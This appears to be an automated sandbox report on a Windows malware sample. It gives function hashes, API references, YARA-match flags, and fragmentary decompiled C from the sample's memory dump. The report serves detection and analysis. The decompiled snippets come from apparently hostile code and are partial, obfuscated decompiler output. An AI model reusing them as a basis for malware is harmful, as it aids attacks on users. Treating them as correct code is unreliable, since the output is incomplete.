Opcode ID: 6321c4edb2cef8f551249dd80e5439124ff043c7d41721e6fc2b2989e31b59ce
Instruction ID: ccd3ee4d0ba156a11999ba14c2b794d645dee6ae3770728e0393aa6e1c4a20c9
Opcode Fuzzy Hash: 6321c4edb2cef8f551249dd80e5439124ff043c7d41721e6fc2b2989e31b59ce
Instruction Fuzzy Hash: F09002B520100402D541B1D944147460085A7D0345F51C021A5054558EC6D98DD976A5

Uniqueness

Uniqueness Score: -1.00%

Function 012F99A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F99AA

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2b2d22ce649ac8fd86cadbac55c3690cdd98473b150c6292de0d19e8697dbe6b
Instruction ID: f3d3fb3f00c1749cd0c22c876e45877bcbf69b558b72ce2d7d07e38c80c943d6
Opcode Fuzzy Hash: 2b2d22ce649ac8fd86cadbac55c3690cdd98473b150c6292de0d19e8697dbe6b
Instruction Fuzzy Hash: C99002A534100442D501A1D94424B060085E7E1345F51C025E1054558DC699CC567166

Uniqueness

Uniqueness Score: -1.00%

Function 012F9860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F986A

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ec885865ad1e0b8c5a31028e4989566444e74cd1b01428494ccc082bf0dfcc
Instruction ID: fe0dbcc578f6aa4f96c4f3f06571acd7c2d7e5f3cd91bb279f4c9a4ae33c4ef3
Opcode Fuzzy Hash: 14ec885865ad1e0b8c5a31028e4989566444e74cd1b01428494ccc082bf0dfcc
Instruction Fuzzy Hash: AF90027520100413D512A1D945147070089A7D0285F91C422A041455CDD6D68956B161

Uniqueness

Uniqueness Score: -1.00%

Function 012F9840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F984A

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bb622e7baf28e95ffde133e87e7ffb36bd816851f94bfbdfbdfff5d9817cc1c1
Instruction ID: 3dec41918d595f383e2995396a062372676156f458716287302c051dce7b0e76
Opcode Fuzzy Hash: bb622e7baf28e95ffde133e87e7ffb36bd816851f94bfbdfbdfff5d9817cc1c1
Instruction Fuzzy Hash: 44900265242041529946F1D944146074086B7E0285791C022A1404954CC5A6985AE661

Uniqueness

Uniqueness Score: -1.00%

Function 012F98F0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F98FA

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 38fa9aafecaa459469ab9fe972be9b099ff18d18e6841beedd549b0e90e49e81
Instruction ID: 58c8fbb315fcdd777798724478eebfcb9e4826ea7c121ace22152d52515cfca8
Opcode Fuzzy Hash: 38fa9aafecaa459469ab9fe972be9b099ff18d18e6841beedd549b0e90e49e81
Instruction Fuzzy Hash: C390026560100502D502B1D94414716008AA7D0285F91C032A1014559ECAA58996B171

Uniqueness

Uniqueness Score: -1.00%

Function 012F9A20, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F9A2A

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: da9f5b346a20ab6c0dd93ca672789b4c8f24c2813ffb563eaeb000cce85c8db0
Instruction ID: c4f2720d2d0c03d56b9a633917dc5783cdbbd0494b0d64253eb6883f1c46d491
Opcode Fuzzy Hash: da9f5b346a20ab6c0dd93ca672789b4c8f24c2813ffb563eaeb000cce85c8db0
Instruction Fuzzy Hash: 0C900265601000428541B1E98854A064085BBE1255751C131A0988554DC5D9886966A5

Uniqueness

Uniqueness Score: -1.00%

Function 012F9A00, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F9A0A

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: addd56fd1e682223e21c166cdb3252585444025ebc2b7bb88cd706f37c333dc2
Instruction ID: 4273214fcfcd06009a4acd89a756ec319030257ab5d35520d53c4ea3cbef0748
Opcode Fuzzy Hash: addd56fd1e682223e21c166cdb3252585444025ebc2b7bb88cd706f37c333dc2
Instruction Fuzzy Hash: 0490027520140402D501A1D9482470B0085A7D0346F51C021A1154559DC6A5885575B1

Uniqueness

Uniqueness Score: -1.00%

Function 012F9A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F9A5A

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2df7baaccd2d4da4a0ebb977b87ae834edf5bb3ffe72e87dcb3d8160b4fd763b
Instruction ID: 5541f9e093eaca49f2ab336a0a6a3c601e225e8e123d1b60a944c296ebd48ce6
Opcode Fuzzy Hash: 2df7baaccd2d4da4a0ebb977b87ae834edf5bb3ffe72e87dcb3d8160b4fd763b
Instruction Fuzzy Hash: E490026521180042D601A5E94C24B070085A7D0347F51C125A0144558CC99588656561

Uniqueness

Uniqueness Score: -1.00%

Function 012F9540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F954A

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c774dd146bc7efba78a247e10804eddef3f9b50f1c65d2ede30fc74e447139db
Instruction ID: 4c18562d3e90e1a60fc3c5a319653d6804f437d8e155ca35c2017b3715e8a2e7
Opcode Fuzzy Hash: c774dd146bc7efba78a247e10804eddef3f9b50f1c65d2ede30fc74e447139db
Instruction Fuzzy Hash: D8900269211000034506E5D9071460700C6A7D5395351C031F1005554CD6A188656161

Uniqueness

Uniqueness Score: -1.00%

Function 012F95D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F95DA

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0d8ce08e7e04714f9b8c3dc609dff46abc0895d62f1d510f575552e10b16fc1d
Instruction ID: ffad6d9b50916b273727acd1597b98d37b6bcc16f0a0ed23cec552332f832590
Opcode Fuzzy Hash: 0d8ce08e7e04714f9b8c3dc609dff46abc0895d62f1d510f575552e10b16fc1d
Instruction Fuzzy Hash: C79002A5202000038506B1D94424716408AA7E0245B51C031E1004594DC5A588957165

Uniqueness

Uniqueness Score: -1.00%

Function 012F9710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F971A

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7aa9089c3b7937ea88d4fdd3b6fc249f64a575d5d9e9a6c494907d942b6ebb93
Instruction ID: 2302cbb4c27daea668319c585f80bbf2a634210486d74df96737388ad165bed9
Opcode Fuzzy Hash: 7aa9089c3b7937ea88d4fdd3b6fc249f64a575d5d9e9a6c494907d942b6ebb93
Instruction Fuzzy Hash: B090027520100402D501A5D954187460085A7E0345F51D021A5014559EC6E588957171

Uniqueness

Uniqueness Score: -1.00%

Function 012F97A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F97AA

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1eda9a4e826a1a7c6d39a2fbe717e60aaab9cf0cb4115a74d98b6204c4887d3b
Instruction ID: e342e04b409e9b8f8bd7b9d82fb4197e8a55e22f0750ae4309cffe2d8005b935
Opcode Fuzzy Hash: 1eda9a4e826a1a7c6d39a2fbe717e60aaab9cf0cb4115a74d98b6204c4887d3b
Instruction Fuzzy Hash: 9090026530100003D541B1D954287064085F7E1345F51D021E0404558CD995885A6262

Uniqueness

Uniqueness Score: -1.00%

Function 012F9780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F978A

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 546a19eaa5c14e027e1b89e65deec94b9832ddd42065b093ecc166c9c19e2887
Instruction ID: 28d3dc455c1c157e7f8d7ba12510684240f259bc948d7b0f3175e91edaa25276
Opcode Fuzzy Hash: 546a19eaa5c14e027e1b89e65deec94b9832ddd42065b093ecc166c9c19e2887
Instruction Fuzzy Hash: F490026D21300002D581B1D9541870A0085A7D1246F91D425A000555CCC995886D6361

Uniqueness

Uniqueness Score: -1.00%

Function 012F9660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F966A

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: da154100b3b9176f720c4e4614c1a1e636b5f120129d757569273f86cc9949db
Instruction ID: 5c54b2ee29a144e19e066eba7221f2d6ab7b71abe7fb25a4277d729b59edc933
Opcode Fuzzy Hash: da154100b3b9176f720c4e4614c1a1e636b5f120129d757569273f86cc9949db
Instruction Fuzzy Hash: 4490027520100802D581B1D9441474A0085A7D1345F91C025A0015658DCA958A5D77E1

Uniqueness

Uniqueness Score: -1.00%

Function 012F96E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F96EA

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 58569633a8fcc4449debcf00dee6fadb87264c763878716c130a0bce0e46e939
Instruction ID: 8d31ffa9770bfa8ff26775ae6f2d618b555a923a29bb0099e1007dec22b9e5ad
Opcode Fuzzy Hash: 58569633a8fcc4449debcf00dee6fadb87264c763878716c130a0bce0e46e939
Instruction Fuzzy Hash: 7990027520108802D511A1D9841474A0085A7D0345F55C421A441465CDC6D588957161

Uniqueness

Uniqueness Score: -1.00%

Function 00409A90, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da3a0a51de53f8e4f95f41efafe70bd92c6e1b826fb8f0c5d51986441d80343
Instruction ID: 3804b4b6881f0f279124858c5e35b72bf87e4fbc11d5a75f000cd7e24852ad46
Opcode Fuzzy Hash: 1da3a0a51de53f8e4f95f41efafe70bd92c6e1b826fb8f0c5d51986441d80343
Instruction Fuzzy Hash: 64213CB2D4020857CB25D664AD42AEF737CEB54308F04017FE949A3182F7387E49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0A6, Relevance: 3.1, APIs: 2, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00414506,?,00414C7F,00414C7F,?,00414506,?,?,?,?,?,00000000,00409CD3,?), ref: 0041A05D
RtlFreeHeap.NTDLL(00000060,00409CD3,?,?,00409CD3,00000060,00000000,00000000,?,?,00409CD3,?,00000000), ref: 0041A09D

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateFree
String ID:
API String ID: 2488874121-0
Opcode ID: a9bd6c730127ed9788819e79466a58329f2104e53292cd3b074b45a9944d7f8d
Instruction ID: d778e9e16294c48b030167fbd175f1c58e9cce250e12698c61ff966b7b44f271
Opcode Fuzzy Hash: a9bd6c730127ed9788819e79466a58329f2104e53292cd3b074b45a9944d7f8d
Instruction Fuzzy Hash: 7601DEB51052046FDB14EF69DC81CE73BA8EF88310B14854AF84957202C234E9A4CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 0041A139, Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A0D8

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: c2bb4a4dec1c89e7e7d685ceb4679c1d559818c4e4ee736dfbf1889f7781eb6c
Instruction ID: 896dca302a395a4d6de48def5851c936774caefc23b97b316a2f67526da34e43
Opcode Fuzzy Hash: c2bb4a4dec1c89e7e7d685ceb4679c1d559818c4e4ee736dfbf1889f7781eb6c
Instruction Fuzzy Hash: CC1129B5205208BBCB04DF99CC81EEB77ADAF8C714F158659F94DA7241C630E851CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 004082EC, Relevance: 1.6, APIs: 1, Instructions: 57
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004082EC(void* __eax, void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t14;
				int _t15;
				long _t22;
				int _t27;
				void* _t30;
				void* _t32;
				void* _t37;

				_t37 = __eflags;
				asm("stc");
				asm("sbb eax, 0x83ec8b55");
				_t30 = _t32;
				_v68 = 0;
				E0041B860( &_v67, 0, 0x3f);
				E0041C400( &_v68, 3);
				_t14 = E0040ACD0(_t37, _a4 + 0x1c,  &_v68); // executed
				_t15 = E00414E20(_a4 + 0x1c, _t14, 0, 0, 0xc4e7b6d6);
				_t27 = _t15;
				if(_t27 != 0) {
					_t22 = _a8;
					_t15 = PostThreadMessageW(_t22, 0x111, 0, 0); // executed
					_t39 = _t15;
					if(_t15 == 0) {
						_t15 =  *_t27(_t22, 0x8003, _t30 + (E0040A460(_t39, 1, 8) & 0x000000ff) - 0x40, _t15);
					}
				}
				return _t15;
			}

0x004082ec
0x004082ec
0x004082ef
0x004082f1
0x004082ff
0x00408303
0x0040830e
0x0040831e
0x0040832e
0x00408333
0x0040833a
0x0040833d
0x0040834a
0x0040834c
0x0040834e
0x0040836b
0x0040836b
0x0040836d
0x00408372

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 2a4f021b281fc91f3f55382ac1733110e4ec62c60d4fe3626aae81126111c76d
Instruction ID: 032edfced3be88e9a485307559504c5ccc94bc533ac1c06a480b08d6b8950726
Opcode Fuzzy Hash: 2a4f021b281fc91f3f55382ac1733110e4ec62c60d4fe3626aae81126111c76d
Instruction Fuzzy Hash: E401F731A802287AE720A6A59D43FFE772CAB40F55F04411EFF04FA1C1D6A96A0647E9

Uniqueness

Uniqueness Score: -1.00%

Function 004082F0, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E004082F0(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t21;
				intOrPtr* _t25;
				void* _t26;
				void* _t30;

				_t30 = __eflags;
				_v68 = 0;
				E0041B860( &_v67, 0, 0x3f);
				E0041C400( &_v68, 3);
				_t12 = E0040ACD0(_t30, _a4 + 0x1c,  &_v68); // executed
				_t13 = E00414E20(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t25 = _t13;
				if(_t25 != 0) {
					_t21 = _a8;
					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					_t32 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t25(_t21, 0x8003, _t26 + (E0040A460(_t32, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x004082f0
0x004082ff
0x00408303
0x0040830e
0x0040831e
0x0040832e
0x00408333
0x0040833a
0x0040833d
0x0040834a
0x0040834c
0x0040834e
0x0040836b
0x0040836b
0x00000000
0x0040836d
0x00408372

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: afab1aa1c4a0f2d606ceb08e1db99e52839e25c93945885a0af06a200761294b
Instruction ID: 99221eaed4bb2b1c73ef210b546efabe7985b039c1aa6a3efaa8447a865c7254
Opcode Fuzzy Hash: afab1aa1c4a0f2d606ceb08e1db99e52839e25c93945885a0af06a200761294b
Instruction Fuzzy Hash: 7601D831A8031876E720A6959C43FFE772C6B40F54F044019FF04BA1C1D6A8691646EA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A1C4, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E0041A1C4(void* __edi, void* _a4, void* _a8, void* _a12, void* _a16) {
				void* _t31;
				signed int _t32;
				void* _t36;

				_t32 = _t31 + _t36;
				asm("das");
				asm("a16 lodsb");
				if (( *(__edi - 0x178b2b01) & _t32) <= 0) goto L3;
				_push(_t32);
			}

0x0041a1c4
0x0041a1c6
0x0041a1c7
0x0041a1cf
0x0041a1d0

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1A2,0040F1A2,0000003C,00000000,?,00409D45), ref: 0041A200

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: b81a5493ae8f945c02c4a4f157589d24ca64c62716d02af167ea531d6ca654bf
Instruction ID: f6a7c93bc697d3c15963036fd0ef1d24dab798bef6e9d4a7aa926413973542c8
Opcode Fuzzy Hash: b81a5493ae8f945c02c4a4f157589d24ca64c62716d02af167ea531d6ca654bf
Instruction Fuzzy Hash: 28F08CB1204308ABCA10EF94DC86DE737A8EF88220F05845AFD485B242D635E9608BE6

Uniqueness

Uniqueness Score: -1.00%

Function 00419FF6, Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00414506,?,00414C7F,00414C7F,?,00414506,?,?,?,?,?,00000000,00409CD3,?), ref: 0041A05D

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cb9419aec1a99feace6937aadf7adf80ce3df99526dcaa86d4773fad100af43e
Instruction ID: 2300840be128c6a2cf138ad90cc2b4ec6ecca1d559bca8e3d8fda348f570986d
Opcode Fuzzy Hash: cb9419aec1a99feace6937aadf7adf80ce3df99526dcaa86d4773fad100af43e
Instruction Fuzzy Hash: 97F0A7B62002146FD714EF94DC80EF7B76DEF84320F158669F9485B201D631E954C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A062, Relevance: 1.5, APIs: 1, Instructions: 26
memoryCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E0041A062(void* __ebx, void* __ecx, char __edx, void* __eflags, intOrPtr _a12, void* _a16, signed char _a20, void* _a24) {
				signed char _t9;
				char _t11;
				void* _t22;

				_t16 = __ecx;
				_pop(_t22);
				if(__eflags >= 0) {
					asm("lock sub al, 0x6b");
					 *((char*)(__ebx + 0x1641057f)) = __edx;
					if(__eflags <= 0) {
						_push(ss);
					}
					_t12 = _a12;
					_t5 = _t12 + 0xc74; // 0xc74
					_t23 = _t5;
					E0041A960(_t22, _a12, _t5,  *((intOrPtr*)(_a12 + 0x10)), 0, 0x35);
					_t9 = _a20;
					_t16 = _a16;
				}
				asm("les edx, [edx+edx*2]");
				_push(_t9 | 0x00000083);
				_t11 = RtlFreeHeap(_t16); // executed
				return _t11;
			}

0x0041a062
0x0041a062
0x0041a063
0x0041a065
0x0041a068
0x0041a06a
0x0041a06d
0x0041a070
0x0041a073
0x0041a07f
0x0041a07f
0x0041a087
0x0041a08f
0x0041a092
0x0041a092
0x0041a096
0x0041a09b
0x0041a09d
0x0041a0a1

APIs

RtlFreeHeap.NTDLL(00000060,00409CD3,?,?,00409CD3,00000060,00000000,00000000,?,?,00409CD3,?,00000000), ref: 0041A09D

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 2215533cff683066aaf40974d827eefb610fa1c5ba209237d00df1578578f298
Instruction ID: 3c4ccb3ab7a115bd32a4f8035ad1b557ce754f415dd5b2fc58acafd04765b385
Opcode Fuzzy Hash: 2215533cff683066aaf40974d827eefb610fa1c5ba209237d00df1578578f298
Instruction Fuzzy Hash: A7E022B42042858BEB11EE79C4C08DBBF90EFC57107518A9AE89C0B207C635E56ADB71

Uniqueness

Uniqueness Score: -1.00%

Function 0041A070, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E0041A070(intOrPtr _a4, void* _a8, signed char _a12, void* _a16) {
				signed char _t9;
				char _t11;
				void* _t13;
				void* _t16;

				_t7 = _a4;
				_t3 = _t7 + 0xc74; // 0xc74
				E0041A960(_t16, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t9 = _a12;
				_t13 = _a8;
				asm("les edx, [edx+edx*2]");
				_push(_t9 | 0x00000083);
				_t11 = RtlFreeHeap(_t13); // executed
				return _t11;
			}

0x0041a073
0x0041a07f
0x0041a087
0x0041a08f
0x0041a092
0x0041a096
0x0041a09b
0x0041a09d
0x0041a0a1

APIs

RtlFreeHeap.NTDLL(00000060,00409CD3,?,?,00409CD3,00000060,00000000,00000000,?,?,00409CD3,?,00000000), ref: 0041A09D

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: ebe44f756a2289fd31ae4d5b5361048190c1dc89d00c79db85c43397b2838655
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: 81E01AB12102086BD714DF59CC45EA777ACEF88750F018559B90857241C630E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A030, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00414506,?,00414C7F,00414C7F,?,00414506,?,?,?,?,?,00000000,00409CD3,?), ref: 0041A05D

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 0bf4e0d92ddb4de2ba6a166865ddf054dca1a4f918bcd24d9368b88a9b8aca1a
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: F1E012B1210208ABDB14EF99CC81EA777ACEF88664F158559BA086B242C630F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A1D0, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1A2,0040F1A2,0000003C,00000000,?,00409D45), ref: 0041A200

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: 46e8f913edfca5d9b668009ee454d724baa27d6f5a7db77fbc9955010344b6d9
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 22E01AB12002086BDB10DF49CC85EE737ADEF88650F018555BA0C67241C934E8508BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0B0, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A0B0(intOrPtr _a4) {
				void* _t8;
				intOrPtr _t9;
				int _t10;
				void* _t11;

				_t6 = _a4;
				_t9 =  *((intOrPtr*)(_a4 + 0xa14));
				E0041A960(_t11, _a4, _t6 + 0xc7c, _t9, 0, 0x36);
				 *((intOrPtr*)(_t8 + 0x68b0c55)) =  *((intOrPtr*)(_t8 + 0x68b0c55)) + _t9;
				ExitProcess(_t10);
			}

0x0041a0b3
0x0041a0b6
0x0041a0ca
0x0041a0ce
0x0041a0d8

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A0D8

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: eb2c75e7f7166c4cf28644cd9339eacac336c717648a3dafe3de7fd5e277bb7f
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: 4CD017726102187BD620EB99CC85FD777ACDF48BA0F0584A9BA5C6B242C531BA108AE1

Uniqueness

Uniqueness Score: -1.00%

Function 012F967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F9694

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aecf1e9dae90d7c2f17f846065269957695fbb1dd5693ec0370e85ddb33214e8
Instruction ID: f7e24fb6d4ffd1eb7620f13049403435e55d61e7abf2a2fb740758daf2a4d87b
Opcode Fuzzy Hash: aecf1e9dae90d7c2f17f846065269957695fbb1dd5693ec0370e85ddb33214e8
Instruction Fuzzy Hash: E7B09B719014C5C9DE12D7E54608B177A407BD0745F16C075E3020645B8778C0D5F5B5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0136B260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

The instruction at %p referenced memory at %p., xrefs: 0136B432
an invalid address, %p, xrefs: 0136B4CF
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 0136B53F
*** enter .cxr %p for the context, xrefs: 0136B50D
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 0136B305
write to, xrefs: 0136B4A6
<unknown>, xrefs: 0136B27E, 0136B2D1, 0136B350, 0136B399, 0136B417, 0136B48E
The resource is owned exclusively by thread %p, xrefs: 0136B374
a NULL pointer, xrefs: 0136B4E0
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 0136B47D
The critical section is owned by thread %p., xrefs: 0136B3B9
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 0136B39B
*** An Access Violation occurred in %ws:%s, xrefs: 0136B48F
The resource is owned shared by %d threads, xrefs: 0136B37E
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 0136B314
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0136B38F
